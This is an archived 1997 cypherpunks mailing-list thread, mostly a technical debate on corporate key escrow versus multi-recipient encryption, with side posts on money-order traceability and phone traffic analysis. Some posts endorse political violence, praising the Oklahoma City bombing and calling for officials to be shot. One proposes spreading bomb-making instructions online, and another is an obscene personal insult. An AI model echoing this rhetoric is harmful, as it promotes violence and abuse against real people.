whatever.  No policy is embedded in software, and no software to
support software needs to be written. 

> > The key-safe model has no significant policy issues that need to be
> > embedded in software -- the only policy is "when data encryption
> > keys are generated a copy is sent to the key-safe (using an
> > encrypted channel, of course)."
> 
> As stated above, this is because you have chosen a single master key
> to go with the safe model.  If you choose a single crypto-recipient,
> and master key encrypting the private half of that key, you largely
> have equivalence.

Not so, as I hopefully explained above, the key-safe can have enhance 
security, so that the danger of a compromise is lessened.

> > > I don't see the difference.  With the encrypt to multiple recipients
> > > approach where the second crypto-recipient is the company key you can
> > > store the private half of the corporate key using the same techniques
> > > you discussed above.
> > > 
> > > Access to the data requires access to the master key in both cases.
> > 
> > It follows, therefore, that if the master key is compromised in both
> > systems, all data is compromised.  From that perspective, the systems
> > are equally secure. 
> 
> Or similarly insecure.  They are quite similar, I think multiple
> recipient offers more flexibility, and security advantages, as well as
> avoiding the sharing of private keys.

I spoke too soon here.  The key-safe model is intrinsically more 
secure.

> 
> > > You fix the second crypto-recipient in the MUA if you wish to.
> > 
> > This is precisely the point I was alluding to in the policy discussion
> > above.  In an organizational content, *of course* you will put all the
> > complexity in the MUA.  The question is, how do you change the 
> > "master key" indicator that is in each MUA?  Suppose that the 
> > organization wants different keys for different departments -- how do 
> > you keep track of which master key goes where?  How do all those 
> > MUA's get their key policy module updated?
> 
> Sign the policy file.  Certify the signing key(s).  You're going to
> have this anway for authentication of email content.

You may not be able to trust the signature.
[...]

> > >  You
> > > can use binding cryptography to ensure the fire-wall can tell that it
> > > is an encrypted copy of the same document without the firewall needing
> > > access to the master key.  You can't do this company has all keys in
> > > the safe model, without givin the firewall automatic access to the
> > > safe, which is a huge security risk.
> > 
> > ???
> > With the key-safe model the firewall never enters into the picture.
> 
> It does for the same functionality.  With the key-safe model how do
> you know that the ciphertexts flowing out of the building are
> encrypted with a key that is in your safe at all?

Oh -- I'm sorry.  I didn't think through what you were saying.  You
were attempting to guard against an insider threat.  A waste of time,
probably.  He could frisbee a floppy out the window to his honey in
the red sports car. 

> You don't have to do the binding cryptography stuff with multiple
> recipients if you don't want to.  With the safe model you can't do it
> even if you do want to.

How does the firewall know what is encrypted?  Just a bunch of gifs 
of the family?  Just the first 5000 lines of "Paradise Lost", slightly 
altered? 

Anyway, if the employee uses the "approved" MUA, and it isn't 
compromised, then it can store a copy of all outgoing mail, encrypted 
with the employee's key.  If he doesn't use the approved MUA, or the 
MUA is compromised, then of course the firewall protections are 
useless.  So, in the keysafe model, the firewall never enters the 
picture -- it is all handled in the MUA, anyway.

> > > The advantage of the multiple recipient model is that doesn't commit
> > > the cardinal sin/design flaw of sharing private crypto keys.
> > 
> > Two things:  First, any crypto system that doesn't deal with 
> > protection/recovery/secure-use of private keys is incomplete.
> 
> For storage encryption keys where backups are not plaintext, I agree.
> For communication keys, you do not need to backup.  Doing so weakens
> security.  Communications keys should be transient, forward secret
> even.  Authentication keys should be persistent, back up not required,
> just generate new key, and new certificates if lost.  Storage keys
> should be backed up where necessary.

I agree with all this.  Only storage keys need to be in the keysafe.

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 11:43:31 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: Intel for the War Underway
In-Reply-To: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>
Message-ID: <3.0.1.32.19970510233609.006ee758@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:47 PM 5/10/97 -0400, John Young wrote:
>The May 10 Economist has a special survey of
>global electronic commerce.

Available of course at:

http://www.economist.com/surveys/elcom/

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 14:49:15 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <199705110628.AAA04901@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc wrote:
> TruthMonger wrote:
> >  Of course, you have your own definintion of innocenent bystanders,
> >while others may have different definitions.
> ..........................................................
> To me, an innocent bystander would be someone who was walking by a building
> which was blown up by someone with a grudge against its occupants.
> 
> You lose the point of your attack when you kill those who do not relate to
> the reason for your attack.

  Not necessarily. Free thinkers are perfectly capable of judging the
reasons behind those involved on both sides of a conflict, and making
an individual judgement as to the culpability of both parties.
  When a citizen shoots an intruder who is breaking into their house
and threatening their saftey, there will always be family members,
lawyers and anti-gun proponents who will decry the individual's use
of force to defend their home and person/family. There are others,
whoever, who will recognize that the perpetrator is the one who is
ultimately responsible for placing the homeowner in the position of
having a need to defend themself.

  Personally, if I need to worry about my life because my government's
actions makes them an actionable target of an increasing number of the
citizens, then I am going to take action to change the government.
  I do not deny anyone's right to suffer silently, but neither do I
deny an individual's right to strike out at the source of their
oppression.

  If you have developed a method for waging war without ordinary
citizens coming into the line of fire, then I would like to hear 
about it. I don't like conflict any more than the next person, but
I do not see concession to the oppressor as a viable option just
because conflict will cause loss and heartache.
  Take a look at the results of the appeasement policy that Britain
had in regard to Hitler. It resulted in scores of deaths that could
have been prevented had those proposing it taken a firm stand that
supported freedom from tyranny.

  The fact is that Tim McVeigh is facing criminal charges for his
chosen actions, while the murderers at Waco are not.
  Until the average citizens demand the same justice for government
agents as is demanded of anti-government agents, the average John
or Jane Doe can expect to get caught in the crossfire.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Sun, 11 May 1997 15:41:35 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970511003249.006b1640@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  The fact is that Tim McVeigh is facing criminal charges for his
>chosen actions, while the murderers at Waco are not.
>  Until the average citizens demand the same justice for government
>agents as is demanded of anti-government agents, the average John
>or Jane Doe can expect to get caught in the crossfire.
........................................................


Well, you're an average citizen.   Have you demanded the same justice for
govmt agents, and was your demand honored?

Gee, too bad.   Tough luck.

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 11 May 1997 08:09:40 +0800
To: kent@songbird.com
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <199705102351.AAA03114@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > It seems to me that it is you Kent who is scrambling to find plausible
> > reasons why key escrow is the best or only technology to use in
> > corporate email systems.
> 
> Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> to implement Carl's model, it would already have happened, given the 
> dislike of key-escrow in the cryptographic community.  

Firstly: have you done a comprehensive survey of corporate access
systems available to commerce.

Secondly: there are a number of other forces "encouraging" the GAK
model.  Government incentives: Europe companies and research groups
get given research funding to experiment with GAK/TTP architectures.
Either the architecture is stipulated as part of the call for
proposals, or proposals involving GAK are going to get funding more
easily.

Third: people involved with key recovery at all have tended to be
defense contractor types, who are more likely to go with government
"standards" (such as TTPs/clipper/tessera/etc).

> But, when examined in detail, in light of real requirements from
> organizations, it is not easy at all.

I was under the impression that PGP Inc had done it, or is working on
it.  It's not very hard at all, all you need is PGP's existing
multiple crypto-recipient feature.

The storage of your company master key needs some thought, but that's
a common problem with either your crypto key safe model or multiple
recipient model.

> I'm not "scrambling", Adam.  If there is anything you need to
> understand here, it is that I am *not* in favor of GAK.  

I have a memory.  I recall you made several posts where-in you said
you were against GAK.  Your line of argument seems to be that the rest
of us are misguided, or are allowing are dislike of GAK to cloud our
judgement on what a good crypto architecture GAK would be applied to
corporate key escrow.  Right?

> Chisel that in stone and think about it a bit -- your
> misunderstanding of my motives causes you to gloss over my arguments
> and not think about them.  I am sympathetic to your concerns, and I
> am trying to explain something I truly think people are missing.
> Think of me as intelligent, Adam, and I will do the same for you.

I have no doubts as to your intelligence.  I understand what you are
trying to explain, and understood the first time you tried to explain;
I just disagree!  If you want to discuss your motives, the thing that
puzzles me is that your tone, overall apparent statist tendencies, and
zest on this topic are at odds with your stance on GAK.  Did you ever
come across a guy called David Sternlight?  (Clearly an intelligent
guy, but having a tendency to hang on to arguments, and stir up flame
wars, in his case I'm sure this was intentional.)  Not equating you to
Sternlight, though there are some similarities in style.

Perhaps it is just that some of us reacted negatively when you first
bought this topic up, and you are still acting in retaliatorily
hostile manner as a result of this.  Remember it was you who called
for rational calm discussion.  People impute from your apparent
statist leanings, and your arguments against people who are against
the key-safe model because of the possibility of helping build a GAK
infrastructure that you are pro-GAK.  Perhaps you need to disclaim
this more clearly.

If I believed GAK architecture was superior to multiple-recipient, and
was arguing this I don't think I'd come across in the same way.

I'm not sure that multiple recipient is that much less useful to GAK
than the safe model, buf if it is at all less useful, and the systems
otherwise basically equivalent I would argue against the safe model
for that reason alone.  However I consider the safe model inferior in
several areas neglecting this issue anyway.

> > > [claimed unique and fatally complex problems with multiple 
> > > recipient approach]
> > 
> > Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> > saying on cryptography@c2, that key escrow has complexity problems,
> > contrary to what you have previously been arguing :-)
> 
> You completely missed the point of the above paragraph -- all those
> questions apply to the "encrypt to policy-specified local recipients"
> model, and *don't* apply to the key-safe model.  

I contend that there are similar and mostly comparable problems with
the safe model.  Lets take a look at a few:

> > > With this background, perhaps now you can see why I say that Carl's 
> > > solution doesn't even address the problem.  The problem is management 
> > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  

Kent says give all the keys to Acme corp, or let Acme corp generate
the keys.  Who is Acme Corp?

The next bit is as a result of multiple recipient being more flexible
than the safe model as stated.  We now have freedom to allow different
elements in the company to audit and access different departments
communications.  Naturally this extra flexibility results in policy
decisions.

> > > What part of the organization that is Acme Corp is authorized to know 
> > > this particular bit of information?  Because some of the employees 
> > > are idiots you want this built automatically into the application 
> > > they are using for encryption/email/whatever.  How does this software 
> > > know what policy is appropriate for which employee?  How is that 
> > > policy distributed?  What is the interface that allows a policy to be 
> > > defined?   How do you protect the policy definition from subversion?

If making policy decisions is too complex in your view for
implementation or practicality, well just substitute a policy dumbed
down to the level of the safe model.  Ie there is one crypto
recipient, all company communications _must_ be encrytped to it as a
second crypto recipient.

Policy distribution is something Netscape has been doing; apparently
the difference between it's browsers is largely a signed policy file
with a mildly obfuscated public verification key check in the code.

I'm sure you can arrange this same flexibility and bring in the
baggage of the policy decisions that come with it for the safe model
also if you want it.  Store keys for different departments in
different safes.  Give the master keys for the department to the
department head, etc.,etc.  Same problem, similar policy decisions,
right?

> The key-safe model has no significant policy issues that need to be
> embedded in software -- the only policy is "when data encryption
> keys are generated a copy is sent to the key-safe (using an
> encrypted channel, of course)."

As stated above, this is because you have chosen a single master key
to go with the safe model.  If you choose a single crypto-recipient,
and master key encrypting the private half of that key, you largely
have equivalence.

> > I don't see the difference.  With the encrypt to multiple recipients
> > approach where the second crypto-recipient is the company key you can
> > store the private half of the corporate key using the same techniques
> > you discussed above.
> > 
> > Access to the data requires access to the master key in both cases.
> 
> It follows, therefore, that if the master key is compromised in both
> systems, all data is compromised.  From that perspective, the systems
> are equally secure. 

Or similarly insecure.  They are quite similar, I think multiple
recipient offers more flexibility, and security advantages, as well as
avoiding the sharing of private keys.

> > You fix the second crypto-recipient in the MUA if you wish to.
> 
> This is precisely the point I was alluding to in the policy discussion
> above.  In an organizational content, *of course* you will put all the
> complexity in the MUA.  The question is, how do you change the 
> "master key" indicator that is in each MUA?  Suppose that the 
> organization wants different keys for different departments -- how do 
> you keep track of which master key goes where?  How do all those 
> MUA's get their key policy module updated?

Sign the policy file.  Certify the signing key(s).  You're going to
have this anway for authentication of email content.

> >  The
> > fire-wall can reject posts without the second crypto-recipient.
> 
> How does the key policy module in the firewall get updated?

Sign it too.

> >  You
> > can use binding cryptography to ensure the fire-wall can tell that it
> > is an encrypted copy of the same document without the firewall needing
> > access to the master key.  You can't do this company has all keys in
> > the safe model, without givin the firewall automatic access to the
> > safe, which is a huge security risk.
> 
> ???
> With the key-safe model the firewall never enters into the picture.

It does for the same functionality.  With the key-safe model how do
you know that the ciphertexts flowing out of the building are
encrypted with a key that is in your safe at all?

You don't have to do the binding cryptography stuff with multiple
recipients if you don't want to.  With the safe model you can't do it
even if you do want to.

> > The advantage of the multiple recipient model is that doesn't commit
> > the cardinal sin/design flaw of sharing private crypto keys.
> 
> Two things:  First, any crypto system that doesn't deal with 
> protection/recovery/secure-use of private keys is incomplete.

For storage encryption keys where backups are not plaintext, I agree.
For communication keys, you do not need to backup.  Doing so weakens
security.  Communications keys should be transient, forward secret
even.  Authentication keys should be persistent, back up not required,
just generate new key, and new certificates if lost.  Storage keys
should be backed up where necessary.

> > The `it's easier to explain a safe full of all employee keys' to
> > management argument is nonsense also.  It's a master key either way
> > and just as easy to explain either way: a master key is a key that
> > lets you decrypt all mail.
> 
> At that level of generality both these systems are identical, and 
> equally easy to explain.  It's when you get down to the details that 
> things become more interesting.

With the safe model, to allow access to outgoing mail, you'll have to
encrypt to a company key as second crypto-recipient, or to yourself,
thereby allowing company access through access to your key.  Quite
similar to multiple recipient.  Similar explanation.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 11 May 1997 15:18:01 +0800
To: cypherpunks@toad.com
Subject: Vlad-smear blows himself...
Message-ID: <199705110658.AAA05955@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote: 
> kC on TCM:
> >
> >"May they all be vaporized."
> >
> >"Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that."

> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.
> 
> when the CDA was being passed, I think his hemor^h^h^h rhetoric
> swelled up then too as well. but look at what happened with the
> CDA-- it got challenged, killed by lower courts,
> and is stuck in the supreme court, likely
> to be struck down there too. far from the end of the world forecast
> by some here.

  Get real. The Feds have attacks going on a dozen fronts on 
anything they support or oppose and they don't particularly care
if a bill is constitutional or not, as long as it achieves the
desired effect. They are happy as long as they can terrorize
enough citizens and businesses with threats of imprisonment to
move things in their desired direction.
  
> do we have a constitution or not? if so, we have nothing to worry
> about.

  What a crock of shit! This is just another variation of "It's
not perfect, but it's the best sytem we've got." Why is it always
the oppressors who seem so enamored of the way the system works?

> TCM is terrified by virtually anything that happens in govt, which is
> amusing and comical at times.

  If I thought Vlad-smear was not a paid government schill, then I
would assume he is a fucking idiot.
  I love to see how quickly "patriots" stop waving the red, white and
blue once the government's stick gets shoved up their own butt. Believe
it or not, Vlad-smear, there are individuals who fight against loss of
freedom and liberty even when it is someone else who is getting 
screwed.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 11 May 1997 14:29:51 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <Pine.GSO.3.95.970511020618.12848B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 10 May 1997, Duncan Frissell wrote:
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.

Ahem!

I note that Washington, DC occasionally even contains Duncan Frissells,
Lucky Greens, and Sameer Parekhs.

-Declan
Washington, DC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Sun, 11 May 1997 17:26:17 +0800
To: cypherpunks@cyberpass.net
Subject: Money orders, debit cards, ...
Message-ID: <5l42hm$u44@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


Some court transcripts from the McVeigh case contain interesting
information about real-life anonymous systems.  See
    http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.html

Did you know that money orders are not so anonymous as you might think?
On the order itself are digits identifying the post office where the
order was purchased, as well as the date of purchase.  Also, a private
company testified on their money order service, and it comes out that
they keep a computerized record of every money order purchase in a
central database.  Eek.

And read about a real-life instance of traffic analysis of phone calls
based on timing correlations.  This one really happened, folks (though
it was by mistake).  Also, read about how a company offering prepaid
debit cards searched through billions of records to find all phone calls
to or from a certain number, etc.  Read about how they entered a disk
containing information on 100,000--200,000 phone calls (!) into evidence.
(Note: contents of calls are protected by law, but traffic analysis
specifically is allowed, far as I can tell.)

And you value your privacy?  Too bad!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 14:33:32 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705110618.CAA13578@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



##
Newsgroups:
Subject: Re: Disinformation in L.A.

On or About 10 May 97 at 19:23, Igor Chudov @ home wrote:

> Duncan Frissell wrote:
> > On Sat, 10 May 1997, Kent Crispin wrote:
> > 
> > > I would expect a "cypherpunk riot" to be a little more aimed at
> > > cyberspace than real-world suburban neighborhoods.  Wouldn't
> > > you?
> > There will be a few unfortunate explosions in the world over the
> > next few years so I'm sure Tim is just hoping for a beneficial
> > target selection.

Those who tell don't know, those who know don't tell.

> Duncan, it is doubtful that there is any member of this mailing
> list, at least of those whom I have seen posting, who will dare to
> raise his fat ass and blow something up.

Man, Igor, you really hit that on the head.  My "blowing things up" 
days are long over.  That was 20 years or more ago AND 50-75 pounds.

I say "Leave that to the younger ones, who think they are 
indestructable, anyway"
 
> The "radicals" are mostly sitting and waiting for something dramatic
> to happen, preferably as far from their nice houses and bank
> accounts as possible.

I've got a nice condo, a wife who is straight arrow, and a bigger 
bank account than I had in the militant hippie daze.  I would, 
however take up arms for the cause of state's rights.  I love my state 
far more than my country, even if I am a Nam vet.

Of course I do considerable fire power at my disposal.  All legal, by 
the way (at the time of this writing).
 
> Jim Bell might be an exception, but I would not bet on him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 17:57:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970511024334.53652@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


I addressed many of your issues in another post, so I will be 
relatively brief...
On Sun, May 11, 1997 at 10:24:46AM +0200, Alan Barrett wrote:
[...]
> There are many similarities between your idea of a "key safe" for CAK
> (corporate access to keys), and the idea espoused by Carl and others
> of encrypting everything to a corporate key as well as to the other
> recipients.
> 
> If the corporation expects to be successful at forcing it's staff to run
> special software that talks to the CAK key safe, then the corporation
> should also expect to be successful at forcing its staff to run special
> software that adds the special coprorate key as a recipient of all
> encrypted messages.

True.

> If the corporation expects to be successful at keeping the keys to the
> CAK key safe secure, while still allowing an appropriate coalition of
> high level managers to get access to the contents of the key safe,
> then the corporation should also expect to be successful at keeping
> the private part of the corporate key secure, while still allowing
> an appropriate coalition of high level managers to use the special
> corporate private key to decrypt messages.
>
> If the coproration trusts those with access to the CAK key safe not to
> abuse their access, then the corporation should also trust those with
> access to the special corporate key not to abuse it.

Not true.  The activities are quite different in detail.  In the 
multiple recipients (MR) case the coalition keymeisters get together to 
decrypt a single document; in the key safe (KS) case the keymeisters get 
together to decrypt a key, which can then be used to decrypt many 
documents.   In the multiple recipient case, therefore, the master 
key is potentially used quite frequently, and hence much more 
exposed.  There are many other differences: I won't try to go into 
detail here.

The frequent use of the master key is a major problem, because in the 
MR case, when a master key is compromised every document in the 
company is exposed; whereas in the KS case, given appropriate 
security around the keysafe, it is not anywhere as much of a problem.

> > With this background, perhaps now you can see why I say that Carl's
> > solution doesn't even address the problem.  The problem is management
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> > What part of the organization that is Acme Corp is authorized to know
> > this particular bit of information?
> 
> Whatever the answer to the latter question is, it's the same in the CAK
> case as it is in the "encrypt to a special coprorate key" case.

Not if the encryption client encrypts to different company recipients
depending on a policy (which one might want if one tries to limit the 
compromised master key problem described above.)  Then the policy, 
contrary to what you state below, must be reflected in the client.

> > Because some of the employees are idiots you want this
> > built automatically into the application they are using for
> > encryption/email/whatever.  How does this software know what policy
> > is appropriate for which employee?  How is that policy distributed?
> > What is the interface that allows a policy to be defined?  How do you
> > protect the policy definition from subversion?
> 
> The same problems arise in the CAK case.  And the same solution: you
> make the user's software do the same thing every time, and implement the
> policy elsewhere.

Sigh.  The situations are really quite different.  In the KS
case the policy never impacts the software; in the MR case I don't 
think you can avoid it.

> > Access to the key-safe is critical, of course, but it can be made very
> > secure -- a special-purpose piece of hardware that requires passwords
> > from n out of m key czars before access is granted, for example.
> > Or the contents of the key safe can be encrypted via keys escrowed
> > through a secret sharing mechanism
> 
> The same problems and solutions apply in both the CAK case and in the
> "corporate key as extra crypto recipient" case.

Not at all.  The corporate master key is used to decrypt documents in the 
MR case; in the KS case the master key is used to get to the key 
database.  Two totally different functions, two totally different 
security paradigms.  The old saw -- you can either hide your eggs all 
over the case, and hope not too many of them get found, or you can 
put them all in one basket and guard the basket.

> Now, having spent some time attempting to show that the two cases are
> almost identical in many respects, let me point out a few ways in which
> I think encrypting to a special corporate key is better than CAK.
> 
>   - With CAK, the key safe contains at least a copy of every key used by
>     every staff member.  All that needs to be kept secure.  This storage
>     problem does not arise in the non-CAK case.

But a relatively straightforward storage problem, really.

>   - With CAK, every time a user creates a new key, the user's software
>     needs to talk to teh key safe.  This needs a secure channel, which
>     raises further authentication problems (how does the user know that
>     he's not talking to a fake key safe).  These don't arise in the
>     non-CAK case.

Not so.  You have to exactly the same issue -- how does the user find 
out the master key to encrypt to?

>   - Once a CAK infrastructure is in place, it is likely to be easier
>     for a government to impose GAK.  It's better not to set up the CAK
>     infrastructure in the first place.
> 
>     To be fair, similar arguments apply to the "add an extra crypto
>     recipient" case: just add two extra crypto recipients (corporate key
>     and big-brother key).  But I think that the general public is more
>     likely to understand what the government wants and to reject the
>     idea in this case than in the GAK case.

Arguable.  Guv won't say "everybody has encrypt every file to the
government key".  Instead they will insist that the corporate master
key be escrowed.  Any master key is an easy target.  And they will
have very good excuses for it -- corporations are public entities, tax
records, etc, so I don't think the public will get worked up about 
it.  Corporations won't, either.

Note that the keysafe model doesn't really need a master key -- it 
will work with just good physical security.  In that case the Gov 
would just issue a subpoena, I guess.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 11 May 1997 18:13:48 +0800
To: daw@cs.berkeley.edu (David Wagner)
Subject: Re: Money orders, debit cards, ...
In-Reply-To: <5l42hm$u44@joseph.cs.berkeley.edu>
Message-ID: <3.0.1.32.19970511031130.0072fa1c@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:12 AM 5/11/97 -0700, David Wagner wrote:

>(Note: contents of calls are protected by law, but traffic analysis
>specifically is allowed, far as I can tell.)

Correct. There is no (federal) constitutionally protected privacy interest in
traffic-analysis data about phone calls, because (so the argument goes) that
data is voluntarily disclosed to a third party (the phone company).

An argument might be available (in state court) based upon a state's
constitutional right to privacy/right to be free from unreasonable searches &
seizures, if there are any states left whose state constitutions are more
protective than the federal constitution. California and Oregon both used to
be more protective, but the wise and far-seeing voters in both states changed
that via the initiative process. Can't even blame that on the legislators. :(


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3WZg/37pMWUJFlhAQFUxQf/XjlD9a53YGoFFZRukCfl9sEo+se2pioH
QgocIjr+QU/cLMSR99OwUnhGMeNAgAo4teMVwVdIol+I/EA2+WJ2Q1FWlGIW7TtD
FTftPbXQQ8vNxTrni0sdi7YcYy2HsXK+Ll+qqyfe4HExvHcjs/FQn8zPtkh005Se
Err3uvzfE+IgWGUTOa+wC7C4w7SDYtlx4elvpEwYAPtSvYr8HtHZgY5yYIaoXb15
BTi1gMTIbL3UNcNWwwl6Bvpki6OWlzhT5wzWSmMPoBG5g67BrctSyWTp4kDVc19K
UQL5G9vNqelmfBkQ1MPUDgRCs4X57jvOjIz7BcdenQopjzbsaXDA/g==
=BFJ5
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 10:21:47 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again! (fwd)
Message-ID: <199705110207.EAA12477@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 9 May 1997, Tim May wrote:

> At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
> >--- begin forwarded text
...

> >Hello friends of the Virtual Vineyards and family wineries. Remember the
> >felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
> >Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
> >jail. Amazing.

It should go without saying that this is a classic case of a dumb bill,
being passed to serve the special interest of liquor store owners.

> Chiles and his co-conspirators should be shot for high crimes against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

It should go without saying that the above is nonsense.  Sorry Tim.  To
take only the least obvious point:  the Constitution states in Amendment
21 -- ratified in 1933 and beyond any argument part of our Constitution --
that states get to make all the rules about the transportation or
importation of liquor into their jurisdiction.  You may not like this
rule, but it is beyond any serious argument our law.  A state that uses
this power in a stupid way is not acting in any sense
"unconstitutionally".  Supporters of this bill can be called "dumb" or
"bought and paid for" or other unkind things.  But I fail to see how
exercising a constitutional right can be a crime against the constitution. 
 
[... ugly stuff about "soft targets"]

It ill behooves participants in a democracy to either advocate or even
tolerate or even cluck sympathetically at mass murder for political ends. 
This way lies Bosnia.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | [No email to foil spam]
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 19:30:03 +0800
To: declan@well.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.SUN.3.94.970510191520.7299A-100000@panix.com>
Message-ID: <3.0.1.32.19970511071841.02a83e64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:
>
>On Sat, 10 May 1997, Duncan Frissell wrote:
>> 
>> Tim was mostly talking about nuking the District of Columbia.  You will
>> note that that is an artificial community filled entirely with politicians
>> and their sycophants.
>
>Ahem!
>
>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.
>
>-Declan
>Washington, DC
>
>
>

But not too often.

DCF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 19:33:32 +0800
To: cypherpunks@toad.com
Subject: Re: Mondex
Message-ID: <199705111118.HAA29729@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[unt] May is a pimply dweeb sitting at a 
computer chortling at his own imagined cleverness.

             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Tim C[unt] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:31:19 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705110023.TAA19163@manifold.algebra.com>
Message-ID: <gZJJ7D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> > There will be a few unfortunate explosions in the world over the next few
> > years so I'm sure Tim is just hoping for a beneficial target selection.
>
> Duncan, it is doubtful that there is any member of this mailing list, at
> least of those whom I have seen posting, who will dare to raise his fat
> ass and blow something up.

A good friend of mine used to be a gun-toting Black Panther in the days
of his youth.  Now he figured the U.S. ain't worth it and lives in the
Carribean.

By the way, here's a good idea for a cypherpunks project: use Adam's
prototype eternity server to place some bomb-making instrctions all
over the Web and Usenet.

Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
should update the Anarchist's Cookbook.

I bet the NCSA folks are kicking themselves for missing the opportunity
